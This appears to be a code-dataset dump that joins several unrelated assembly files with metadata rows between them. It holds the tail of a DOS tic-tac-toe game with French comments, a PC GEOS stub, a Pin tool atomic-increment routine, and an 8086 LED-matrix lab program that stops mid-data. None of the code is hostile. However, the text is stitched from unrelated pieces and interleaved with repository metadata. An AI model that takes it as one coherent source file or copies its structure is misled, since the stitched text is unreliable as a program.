AFF_FLECH
JMP SELECT
Retdeb : MOV CRS_MENU,5
MOV AH,02H
MOV BH,0
MOV DH,CRS_MENU
MOV DL,7
INT 10H
AFF_FLECH
JMP SELECT
; on a appuyé sur Entrée
VALIDER : MOV AH,03H ;on place le curseur, BH,DH,DL sont automatiquement initialisées avec les valeurs du dessus
INT 10H
CMP DH,5 ; si on est sur le premier choix
JE Part_jeu ; on lance le jeu
CMP DH,10
JE Part_aide ; on affiche l'aide
CMP DH,15
JE Quit ; on quitte
JMP SELECT
Quit : MOV AH,0 ; interruption d'arrêt
INT 21H ; pour les fichiers .COM
; _ _ _ _ _ _ _ _ _Partie Aide_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
Part_aide : CLEAR
MOV AH,02H ;on affiche les msg d'aide
MOV DH,3
MOV DL,12
INT 10H
MOV AH, 09H
LEA DX,Aide_1
INT 21H
CRLF
CRLF
MOV AH,09H
LEA DX,Aide_2
INT 21H
CRLF
CRLF
MOV AH,09H
LEA DX,Aide_3
INT 21H
CRLF
CRLF
MOV AH,09H
LEA DX,Aide_4
INT 21H
CRLF
CRLF
MOV AH,09H
LEA DX,Aide_5
INT 21H
;on attends le bouton echap
MOV AH,00h
INT 16h
CMP AX,011Bh
JE DEB
JMP Part_aide
; _ _ _ _ _ _ _ _ _PARTIE JEU_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
Part_jeu : CLEAR
CALL selection_joueur
REMISE0
MOV VAL_SC_J1,0 ;on mets à 0 le score quand l'on se retrouve dans le menu
MOV VAL_SC_J2,0
SELECT2 : ; la sélection du joueur
MOV AH,00h
INT 16h
CMP AX,4B00h ;si on appuie sur la flèche de gauche
JE FL_SEL_G
CMP AX,4D00h ;si on appuie sur la flèche de droite
JE FL_SEL_D
CMP AX,1C0Dh ;si on appuie sur entrée
JE VALIDER2
CMP AX,011Bh ;si on appuie sur echap
JE MAIN
JMP SELECT2 ;si c'est autre chose on attends une sélection
FL_SEL_G : CLEAR ;on bouge à droite ou gauche
CALL selection_joueur
MOV AH,02H
MOV DH,7
MOV DL,3
INT 10H
MOV CRS_JR,DL
AFF_FLECH
JMP SELECT2
FL_SEL_D : CLEAR
CALL selection_joueur
MOV AH,02H
MOV DH,7
MOV DL,25
INT 10H
MOV CRS_JR,DL
AFF_FLECH
JMP SELECT2
VALIDER2 : CMP CRS_JR,3 ;si le curseur est sur J1
JE PLR1 ; on initialise le booléen à 1 ou 2
CMP CRS_JR,25
JE PLR2
PLR1 : MOV J1,1
MOV J2,2
JMP AFF_JEU
PLR2 : MOV J2,1
MOV J1,2
JMP AFF_JEU
; _ _ _ __ _ _ _Affichage zone de jeu_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
AFF_JEU : ; résolution : 320,200
CALL Zone_jeu
CALL Aff_joueur
MOV TAMPON,0 ;après chaque game, on remet le tampon à 0 pour pas pouvoir valider sans sélectionner
; on vide le buffer clavier si il reste une touche en mémoire
mov ah,01H ;renvoie 0 si il y a un caractère
int 16H
jz SELECT3 ; Aller à la sélection si aucun caractère n est présent
mov ah,00h ; on lit le caractère
int 16H
SELECT3 :
MOV AH,00H
INT 16h
CMP AX,011Bh ;si on appuie sur echap
JE Part_jeu
CMP AL,'a' ;si on appuie sur a
JE CASE_HG
CMP AL,'z' ;si on appuie sur z
JE CASE_HM
CMP AL,'e' ;si on appuie sur e
JE CASE_HD
CMP AL,'q' ;si on appuie sur q
JE CASE_MG
CMP AL,'s' ;si on appuie sur s
JE CASE_MM
CMP AL,'d' ;si on appuie sur d
JE CASE_MD
CMP AL,'w' ;si on appuie sur w
JE CASE_BG
CMP AL,'x' ;si on appuie sur x
JE CASE_BM
CMP AL,'c' ;si on appuie sur c
JE CASE_BD
CMP AX,1C0Dh ;si on appuie sur Entree
JE VALIDER3
JMP SELECT3
;Les booleens : HG appartenant à J1
; = 2, case appartenant à J2
; = 0, case vide
; J1 = 1, c'est à J1 de jouer
; J2 = 2, c'est à J2 de jouer
CASE_HG :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP HG,0
JNE SELECT3
MOV TAMPON,1 ;la case HG est la case 1
MOV VARX,130
MOV VARY,40
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2 ;si c'est J2, on va dessiner un triangle
CALL Croix
JMP SELECT3
CASE_HM :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP HM,0
JNE SELECT3
MOV TAMPON,2
MOV VARX,180
MOV VARY,40
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
CASE_HD :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP HD,0
JNE SELECT3
MOV TAMPON,3
MOV VARX,230
MOV VARY,40
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
CASE_MG :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP MG,0
JNE SELECT3
MOV TAMPON,4
MOV VARX,130
MOV VARY,90
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
CASE_MM :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP MM,0
JNE SELECT3
MOV TAMPON,5
MOV VARX,180
MOV VARY,90
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
CASE_MD :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP MD,0
JNE SELECT3
MOV TAMPON,6
MOV VARX,230
MOV VARY,90
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
CASE_BG :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP BG,0
JNE SELECT3
MOV TAMPON,7
MOV VARX,130
MOV VARY,140
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
CASE_BM :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP BM,0
JNE SELECT3
MOV TAMPON,8
MOV VARX,180
MOV VARY,140
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
CASE_BD :
CLEAR
CALL Zone_jeu
CALL Aff_joueur
CMP BD,0
JNE SELECT3
MOV TAMPON,9
MOV VARX,230
MOV VARY,140
CMP J1,2 ;si J1 vaut 20 , J2 est alors à 10 et c'est J2 qui joue
JE Case_J2
CALL Croix
JMP SELECT3
Case_J2 :
SUB VARX,40
ADD VARY,30
CALL Triangle
JMP SELECT3
;
VALIDER3:
CMP TAMPON,0 ;si on valide sans choisir de case, retour à la sélection
JE SELECT3
CALL Sauv
CLEAR
CALL Zone_jeu
MOV AH,02H
MOV DH,2
MOV DL,8
INT 10H
MOV color,4 ; la var de couleur est au rouge, si jamais ya une victoire
CMP Lig_Haut,3 ;si la ligne du haut vaut 3, J1 a gagné 1+1+1=3
JE WinLH1
CMP Lig_Haut,12 ;si la ligne du haut vaut 6, J2 a gagné 2+2+2=6
JE WinLH2
CMP Lig_Mid,3
JE WinLM1
CMP Lig_Mid,12
JE WinLM2
CMP Lig_Bas,3
JE WinLB1
CMP Lig_Bas,12
JE WinLB2
CMP Col_Gauche,3
JE WinCG1
CMP Col_Gauche,12
JE WinCG2
CMP Col_Mid,3
JE WinCM1
CMP Col_Mid,12
JE WinCM2
CMP Col_Droite,3
JE WinCD1
CMP Col_Droite,12
JE WinCD2
CMP Diag1,3
JE WinDiag1_J1
CMP Diag1,12
JE WinDiag1_J2
CMP Diag2,3
JE WinDiag2_J1
CMP Diag2,12
JE WinDiag2_J2
INC Nbtour
CMP Nbtour,9
JE Egalite
CMP J1,1 ;si J1=1, il joue, donc ce sera à J2 de jouer
JE PLR2
JNE PLR1 ; si J1=2, c'est à J1 de jouer
Egalite :
MOV DL,12
INT 10H
MOV AH, 09H
LEA DX,Egal
INT 21H
JMP Fin
WinLH1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARY,60
CALL lignes
JMP Fin
WinLH2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARY,60
CALL lignes
JMP Fin
WinLM1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARY,110
CALL lignes
JMP Fin
WinLM2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARY,110
CALL lignes
JMP Fin
WinLB1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARY,160
CALL lignes
JMP Fin
WinLB2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARY,160
CALL lignes
JMP Fin
WinCG1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARX,110
CALL colonnes
JMP Fin
WinCG2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARX,110
CALL colonnes
JMP Fin
WinCM1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARX,160
CALL colonnes
JMP Fin
WinCM2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARX,160
CALL colonnes
JMP Fin
WinCD1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARX,210
CALL colonnes
JMP Fin
WinCD2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARX,210
CALL colonnes
JMP Fin
WinDiag1_J1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARX,85
CALL diagonale1
JMP Fin
WinDiag1_J2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARX,85
CALL diagonale1
JMP Fin
WinDiag2_J1 :
MOV AH, 09H
LEA DX,WIN_J1
INT 21H
MOV VARX,235
CALL diagonale2
JMP Fin
WinDiag2_J2 :
MOV AH, 09H
LEA DX,WIN_J2
INT 21H
MOV VARX,235
CALL diagonale2
JMP Fin
Fin:
CMP Nbtour,9
JE PasScore
CMP J1,1
JNE compareJ2
INC VAL_SC_J1
JMP PasScore
compareJ2:
INC VAL_SC_J2
PasScore:
MOV AH,02H ;on affiche le msg pour recommencer
MOV DH,4
MOV DL,12
INT 10H
MOV AH, 09H
LEA DX,Again
INT 21H
MOV AH,02H
MOV DL,9
MOV DH,23
INT 10H
MOV AH, 09H
LEA DX,AgainQST
INT 21H
MOV AH,00h
INT 16h
CMP AL,'o'
JE Repitte
CMP AL,'n'
JE DEB
JMP Fin
Repitte:
REMISE0
CMP J1,1 ;si J1 est en 1 à la fin, c'est lui qui a terminé
JE PLR2 ;ce sera à J2 de commencer
JNE PLR1 ;sinon ce sera à J1
;retour
RET
;fin procédure main
MAIN ENDP
;-----------------------LES FONCTIONS------------------------------------------
;affiche le menu principal
menu PROC
;placement du curseur pour la sélection JEU
MOV AH,02H
MOV BH,0
MOV DH,5
MOV DL,12
INT 10H
;affichage jeu
MOV AH, 09H
LEA DX,MSGJEU
INT 21H
;placement du curseur pour la sélection AIDE
MOV AH,02H
MOV DH,10
MOV DL,12
INT 10H
;affichage help
MOV AH, 09H
LEA DX,MSGHELP
INT 21H
;placement du curseur pour la sélection
MOV AH,02H
MOV DH,15
MOV DL,12
INT 10H
;affichage fin
MOV AH, 09H
LEA DX,MSGFIN
INT 21H
MOV DH,5
RET
menu ENDP
;affichage du menu de la sélection du joueur
selection_joueur PROC
MOV AH,02H
MOV DH,3
MOV DL,10
INT 10H
MOV AH,09H
LEA DX,WHOPLAY
INT 21H
MOV AH,02H
MOV DH,7
MOV DL,7
INT 10H
MOV AH,09H
LEA DX,JOUEUR1
INT 21H
MOV AH,02H
MOV DH,7
MOV DL,28
INT 10H
MOV AH,09H
LEA DX,JOUEUR2
INT 21H
MOV AH,02H
MOV DH,12
MOV DL,8
INT 10H
MOV AH,09H
LEA DX,TOUCHES
INT 21H
MOV AH,02H
MOV DH,14 ; comme on change DX, on doit remettre les valeurs
MOV DL,8
INT 10H
MOV AH,09H
LEA DX,TOUCHES1
INT 21H
MOV AH,02H
MOV DH,16
MOV DL,8
INT 10H
MOV AH,09H
LEA DX,TOUCHES2
INT 21H
MOV AH,02H
MOV DH,18
MOV DL,8
INT 10H
MOV AH,09H
LEA DX,TOUCHES3
INT 21H
RET
selection_joueur ENDP
;procédure pour tracer une ligne de la zone de jeu
lignes PROC
MOV AH,0CH
MOV AL,color ;couleur blanc/gris
MOV DX,VARY ;colonne y
MOV CX,85 ;ligne x
PIX1:
INT 10H
INC CX
CMP CX,235
JNE PIX1
RET
lignes ENDP
; procédure pour tracer une colonne de la zone de jeu
colonnes PROC
MOV AH,0CH
MOV AL,color
MOV DX,35
MOV CX,VARX
PIX2:
INT 10H
INC DX
CMP DX,185
JNE PIX2
RET
colonnes ENDP
;procédure pour tracer une diagonale de HG à BD
diagonale1 PROC
MOV AH,0CH
MOV AL,color
MOV DX,35
MOV CX,VARX
PIX5:
INT 10H
INC CX
INC DX
CMP CX,235
JNE PIX5
RET
diagonale1 ENDP
;procédure pour tracer une diagonale de HD à BG
diagonale2 PROC
MOV AH,0CH
MOV AL,color
MOV DX,35
MOV CX,VARX
PIX9:
INT 10H
DEC CX
INC DX
CMP CX,85
JNE PIX9
RET
diagonale2 ENDP
; procédure pour tracer une croix
Croix PROC
MOV AH,0CH
MOV AL,9
MOV DX,VARY ;colonne y
MOV CX,VARX ;ligne x
MOV VARSTOP,CX
SUB VARSTOP,40
PIX3:
INT 10H
DEC CX
INC DX
CMP CX,VARSTOP
JNE PIX3
ADD VARSTOP,40
MOV CX,CX
SUB DX,40
PIX4:
INT 10H
INC CX
INC DX
CMP CX,VARSTOP
JNE PIX4
RET
Croix ENDP
; procédure pour tracer un triangle
Triangle PROC
; on est sur B, et on doit aller sur C
MOV AH,0CH
MOV AL,10
MOV DX,VARY ;colonne y
MOV CX,VARX ;ligne x
MOV VARSTOP,CX
ADD VARSTOP,40
PIX6:
INT 10H
INC CX
CMP CX,VARSTOP
JNE PIX6
; la on est en C et on doit aller chez A
SUB VARSTOP,20
PIX7:
INT 10H
DEC CX
DEC DX
CMP CX, VARSTOP
JNE PIX7
; on est en A, et on doit rejoindre B
SUB VARSTOP,20
PIX8:
INT 10H
DEC CX
INC DX
CMP CX, VARSTOP
JNE PIX8
RET
Triangle ENDP
;Fonction pour affichage de la zone de jeu
Zone_jeu PROC
CLEAR
MOV color,15
; affichage des lignes
MOV VARY,35 ; on initialise varY à 35
CALL lignes ; on trace la ligne
ADD VARY,50 ; incrémentation de varY pour la prochaine ligne
CALL lignes
ADD VARY,50
CALL lignes
ADD VARY,50
CALL lignes
;affichage des colonnes
MOV VARX,85 ;pareil que pour la ligne, mais en colonnes
CALL colonnes
ADD VARX,50
CALL colonnes
ADD VARX,50
CALL colonnes
ADD VARX,50
CALL colonnes
;on affiche les cases déjà validées
CMP HG,1
JE croix1
JNE suiv1
croix1:
MOV VARX,130
MOV VARY,40
CALL Croix
suiv1:
CMP HG,4
JE trig1
JNE suiv2
trig1:
MOV VARX,90
MOV VARY,70
CALL Triangle
suiv2:
CMP HM,1
JE croix2
JNE suiv3
croix2:
MOV VARX,180
MOV VARY,40
CALL Croix
suiv3:
CMP HM,4
JE trig2
JNE suiv4
trig2:
MOV VARX,140
MOV VARY,70
CALL Triangle
suiv4:
CMP HD,1
JE croix3
JNE suiv5
croix3:
MOV VARX,230
MOV VARY,40
CALL Croix
suiv5:
CMP HD,4
JE trig3
JNE suiv6
trig3:
MOV VARX,190
MOV VARY,70
CALL Triangle
suiv6:
CMP MG,1
JE croix4
JNE suiv7
croix4:
MOV VARX,130
MOV VARY,90
CALL Croix
suiv7:
CMP MG,4
JE trig4
JNE suiv8
trig4:
MOV VARX,90
MOV VARY,120
CALL Triangle
suiv8:
CMP MM,1
JE croix5
JNE suiv9
croix5:
MOV VARX,180
MOV VARY,90
CALL Croix
suiv9:
CMP MM,4
JE trig5
JNE suiv10
trig5:
MOV VARX,140
MOV VARY,120
CALL Triangle
suiv10:
CMP MD,1
JE croix6
JNE suiv11
croix6:
MOV VARX,230
MOV VARY,90
CALL Croix
suiv11:
CMP MD,4
JE trig6
JNE suiv12
trig6:
MOV VARX,190
MOV VARY,120
CALL Triangle
suiv12:
CMP BG,1
JE croix7
JNE suiv13
croix7:
MOV VARX,130
MOV VARY,140
CALL Croix
suiv13:
CMP BG,4
JE trig7
JNE suiv14
trig7:
MOV VARX,90
MOV VARY,170
CALL Triangle
suiv14:
CMP BM,1
JE croix8
JNE suiv15
croix8:
MOV VARX,180
MOV VARY,140
CALL Croix
suiv15:
CMP BM,4
JE trig8
JNE suiv16
trig8:
MOV VARX,140
MOV VARY,170
CALL Triangle
suiv16:
CMP BD,1
JE croix9
JNE suiv17
croix9:
MOV VARX,230
MOV VARY,140
CALL Croix
suiv17:
CMP BD,4
JE trig9
JNE suiv18
trig9:
MOV VARX,190
MOV VARY,170
CALL Triangle
suiv18:
RET
Zone_jeu ENDP
; pour afficher qui doit jouer
Aff_joueur PROC
MOV AH,02H
MOV BH,0
MOV DH,2
MOV DL,12
INT 10H
CMP J1,1 ;selon le booleen, on affiche qui doit jouer
JE MSG_J1
CMP J2,1
JE MSG_J2
MSG_J1 :
MOV AH,09H
LEA DX,MSG_JOUEUR1
INT 21H
JMP RETJEU
MSG_J2 :
MOV AH,09H
LEA DX,MSG_JOUEUR2
INT 21H
JMP RETJEU
RETJEU:
CRLF ;affichage du score
CRLF
MOV AH,09H
LEA DX,SCORE
INT 21H
CRLF
CRLF
MOV AH,09H ; msg du j1
LEA DX,SC_J1
INT 21H
MOV DL,VAL_SC_J1 ; score du j1
ADD DL,30H
MOV AH,02
INT 21H
CRLF
MOV AH,09H ; msg du j1
LEA DX,SC_J2
INT 21H
MOV DL,VAL_SC_J2 ; score du j1
ADD DL,30H
MOV AH,02
INT 21H
RET
Aff_joueur ENDP
; pour garder en mémoire après la validation
Sauv PROC
CMP J1,1 ; si J1 joue, J1=1 et J2=2(4 pour les calculs)
JNE val3
MOV AL,1 ;si J1 joue, J1 vaut 1, sinon il vaut 2
JMP continue
val3:
MOV AL,4
continue:
CMP TAMPON,1
JE deplac1
RET1:
CMP TAMPON,2 ;si on appuie sur z
JE deplac2
RET2:
CMP TAMPON,3 ;si on appuie sur e
JE deplac3
RET3:
CMP TAMPON,4 ;si on appuie sur q
JE deplac4
RET4:
CMP TAMPON,5 ;si on appuie sur s
JE deplac5
RET5:
CMP TAMPON,6 ;si on appuie sur d
JE deplac6
RET6:
CMP TAMPON,7 ;si on appuie sur w
JE deplac7
RET7:
CMP TAMPON,8 ;si on appuie sur x
JE deplac8
RET8:
CMP TAMPON,9 ;si on appuie sur c
JE deplac9
JMP RET9
deplac1:
MOV HG,AL
ADD Lig_Haut,AL ;pour calculer les solutions possibles
ADD Col_Gauche,AL
ADD Diag1,AL
JMP RET1
deplac2:
MOV HM,AL
ADD Lig_Haut,AL
ADD Col_Mid,AL
JMP RET2
deplac3:
MOV HD,AL
ADD Lig_Haut,AL
ADD Col_Droite,AL
ADD Diag2,AL
JMP RET3
deplac4:
MOV MG,AL
ADD Lig_Mid,AL
ADD Col_Gauche,AL
JMP RET4
deplac5:
MOV MM,AL
ADD Lig_Mid,AL
ADD Col_Mid,AL
ADD Diag1,AL
ADD Diag2,AL
JMP RET5
deplac6:
MOV MD,AL
ADD Lig_Mid,AL
ADD Col_Droite,AL
JMP RET6
deplac7:
MOV BG,AL
ADD Lig_Bas,AL
ADD Col_Gauche,AL
ADD Diag2,AL
JMP RET7
deplac8:
MOV BM,AL
ADD Lig_Bas,AL
ADD Col_Mid,AL
JMP RET8
deplac9:
MOV BD,AL
ADD Lig_Bas,AL
ADD Col_Droite,AL
ADD Diag1,AL
RET9:
RET
Sauv ENDP
;-----------------------------------------------------------------------
; fin code du segment
CSEG ENDS
; fin de prog
END MAIN
;-----------------------------------------------------------------------
;SOURCES, mais il en manque quelques-unes, ce sont les majeures
;http://stanislavs.org/helppc/int_21.html
;https://www.gladir.com/LEXIQUE/INTR/int16f00.htm
;https://www.supinfo.com/cours/1CPA/chapitres/09-assembleur-x86#idm44858302451616
;https://stackoverflow.com/questions/43427609/i-am-unable-to-draw-a-circle-using-midpoint-algorithm-in-8086-assembly-with-dire/43430463#43430463
;https://asm.developpez.com/intro/ | 17.623041 | 145 | 0.61978 |
78098329d1e4c1dffa965e2fcad08241aa42c62f | 620 | asm | Assembly | Library/SpecUI/CommonUI/CView/cviewPortWindow.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/SpecUI/CommonUI/CView/cviewPortWindow.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/SpecUI/CommonUI/CView/cviewPortWindow.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: OpenLook/View
FILE: viewPortWindow.asm
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
DESCRIPTION:
Handles window-specific code for the OLPane object.
$Id: cviewPortWindow.asm,v 1.1 97/04/07 10:51:30 newdeal Exp $
-------------------------------------------------------------------------------@
Now in cviewPaneWindow.asm.
| 22.142857 | 81 | 0.480645 |
6342dce519b0bea3344831b2cd21d31c3dbd96dd | 217 | asm | Assembly | Tejas-Simulator/PIN/pin-2.14/source/tools/MemTrace/atomic_increment_ia32.asm | markoshorro/tejas_knl | 5e772aef46362d8bec8ad6d5427b9bcff9be5cfe | [
"Apache-2.0"
] | 17 | 2021-07-10T13:22:26.000Z | 2022-02-09T20:11:39.000Z | pin_kit/source/tools/MemTrace/atomic_increment_ia32.asm | sawansib/SNIPER | 45ec1eeb09b81a7250bc1a1aaa452f16b2b7f497 | [
"MIT"
] | 4 | 2021-08-18T14:07:24.000Z | 2022-01-24T16:38:06.000Z | pin_kit/source/tools/MemTrace/atomic_increment_ia32.asm | sawansib/SNIPER | 45ec1eeb09b81a7250bc1a1aaa452f16b2b7f497 | [
"MIT"
] | 11 | 2016-07-01T02:21:06.000Z | 2020-11-23T08:29:22.000Z | PUBLIC AtomicIncrement
.686
.model flat, c
extern numthreadsStarted:dword
.code
ALIGN 4
AtomicIncrement PROC
lea ecx, numthreadsStarted
inc DWORD PTR [ecx]
ret
AtomicIncrement ENDP
end
| 13.5625 | 31 | 0.705069 |
a398fb7d2eaba977582b426ff851fe898b006e1a | 6,451 | asm | Assembly | H.asm | rahatos/8086-Microprocessor-LabCodes | 6c0d5182cf038e37b5cbdd0f24c3d762b97545a9 | [
"MIT"
] | null | null | null | H.asm | rahatos/8086-Microprocessor-LabCodes | 6c0d5182cf038e37b5cbdd0f24c3d762b97545a9 | [
"MIT"
] | null | null | null | H.asm | rahatos/8086-Microprocessor-LabCodes | 6c0d5182cf038e37b5cbdd0f24c3d762b97545a9 | [
"MIT"
] | null | null | null | S SEGMENT PARA PUBLIC 'CODE'
ASSUME CS: S
ORG 1000H
START:
;TURN ON CONTROL REGISTER
MOV BH, 00H ;END
MOV BL, 00H
MOV DL, 80H ;FOR ROTATE
MOV AL, 80H
OUT 1EH, AL
MOV AL, 80H
OUT 1FH, AL
JMP L1
;CODE
L1: MOV SI, OFFSET DATA
MOV DI, SI
MOV CX, 0000H
MOV BH, 00H ;END
MOV BL, 00H
MOV DL, 80H ;FOR ROTATE
MOV AL,0F9H
OUT 19H,AL
MOV AL, 08H
OUT 1BH,AL
JMP L2
L3:
MOV CX, 0ABCH
XD: LOOP XD
MOV CX, 0000H
INC BH
MOV BL, 00H
ADD DI, 0CH
MOV SI, DI
L2: CMP BH,01CH ;END CYCLE WHEN 28 PAIRS
JE L1
CMP BH,09H
JE SHOWSL2
CMP BH,10H
JE SHOWSL3
OK:
MOV AL, BYTE PTR CS:[SI]
;PORT A
OUT 18H, AL
INC SI
MOV AL, BYTE PTR CS:[SI]
;PORT B
OUT 1AH, AL
INC SI
;PORT C
MOV AL, DL
ROL AL, 1
OUT 1CH, AL
MOV DL, AL
INC BL
CMP CX, 02FFH
;CMP CX, 0ABCH
JE L3
CMP BL, 08H
JE VIEW
JMP L2
VIEW: ADD CX, 01H
MOV BL, 00H
MOV SI, DI
JMP L2
SHOWSL2:
MOV AL,0A4H
OUT 19H,AL
MOV AL, 02H
OUT 1BH,AL
JMP OK
SHOWSL3:
MOV AL,0B0H
OUT 19H,AL
MOV AL, 05H
OUT 1BH,AL
JMP OK
DATA:
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 000H
;---------
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 000H
DB 0FFH
DB 067H
;---------
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;R (Red)
DB 0FFH
DB 000H
DB 0FFH
DB 067H
DB 0FFH
DB 06BH
;---------
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;R (Red)
DB 0FFH
DB 000H
DB 0FFH
DB 067H
DB 0FFH
DB 06BH
DB 0FFH
DB 06DH
;---------
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;R (Red)
DB 0FFH
DB 000H
DB 0FFH
DB 067H
DB 0FFH
DB 06BH
DB 0FFH
DB 06DH
DB 0FFH
DB 09EH
;--------
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;R (Red)
DB 0FFH
DB 000H
DB 0FFH
DB 067H
DB 0FFH
DB 06BH
DB 0FFH
DB 06DH
DB 0FFH
DB 09EH
DB 0FFH
DB 0FFH
;--------
DB 0FFH
DB 0FFH
;R (Red)
DB 0FFH
DB 000H
DB 0FFH
DB 067H
DB 0FFH
DB 06BH
DB 0FFH
DB 06DH
DB 0FFH
DB 09EH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;--------
DB 0FFH
DB 000H
DB 0FFH
DB 067H
DB 0FFH
DB 06BH
DB 0FFH
DB 06DH
DB 0FFH
DB 09EH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;A (GREEN)
DB 0C0H
DB 0FFH
;--------
DB 0FFH
DB 067H
DB 0FFH
DB 06BH
DB 0FFH
DB 06DH
DB 0FFH
DB 09EH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;A (GREEN)
DB 0C0H
DB 0FFH
DB 0B7H
DB 0FFH
;--------
DB 0FFH
DB 06BH
DB 0FFH
DB 06DH
DB 0FFH
DB 09EH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;A (GREEN)
DB 0C0H
DB 0FFH
DB 0B7H
DB 0FFH
DB 077H
DB 0FFH
;--------
DB 0FFH
DB 06DH
DB 0FFH
DB 09EH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;A (GREEN)
DB 0C0H
DB 0FFH
DB 0B7H
DB 0FFH
DB 077H
DB 0FFH
DB 0B7H
DB 0FFH
;--------
DB 0FFH
DB 09EH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;A (GREEN)
DB 0C0H
DB 0FFH
DB 0B7H
DB 0FFH
DB 077H
DB 0FFH
DB 0B7H
DB 0FFH
DB 0C0H
DB 0FFH
;--------
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;A (GREEN)
DB 0C0H
DB 0FFH
DB 0B7H
DB 0FFH
DB 077H
DB 0FFH
DB 0B7H
DB 0FFH
DB 0C0H
DB 0FFH
DB 0FFH
DB 0FFH
;--------
DB 0FFH
DB 0FFH
;A (GREEN)
DB 0C0H
DB 0FFH
DB 0B7H
DB 0FFH
DB 077H
DB 0FFH
DB 0B7H
DB 0FFH
DB 0C0H
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;--------
DB 0B7H
DB 0FFH
DB 077H
DB 0FFH
DB 0B7H
DB 0FFH
DB 0C0H
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;F (ORANGE)
DB 00H
DB 00H
;--------
DB 0B7H
DB 0FFH
DB 077H
DB 0FFH
DB 0B7H
DB 0FFH
DB 0C0H
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;F (ORANGE)
DB 00H
DB 00H
DB 06FH
DB 06FH
;--------
DB 077H
DB 0FFH
DB 0B7H
DB 0FFH
DB 0C0H
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;F (ORANGE)
DB 00H
DB 00H
DB 06FH
DB 06FH
DB 06FH
DB 06FH
;--------
DB 0B7H
DB 0FFH
DB 0C0H
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;F (ORANGE)
DB 00H
DB 00H
DB 06FH
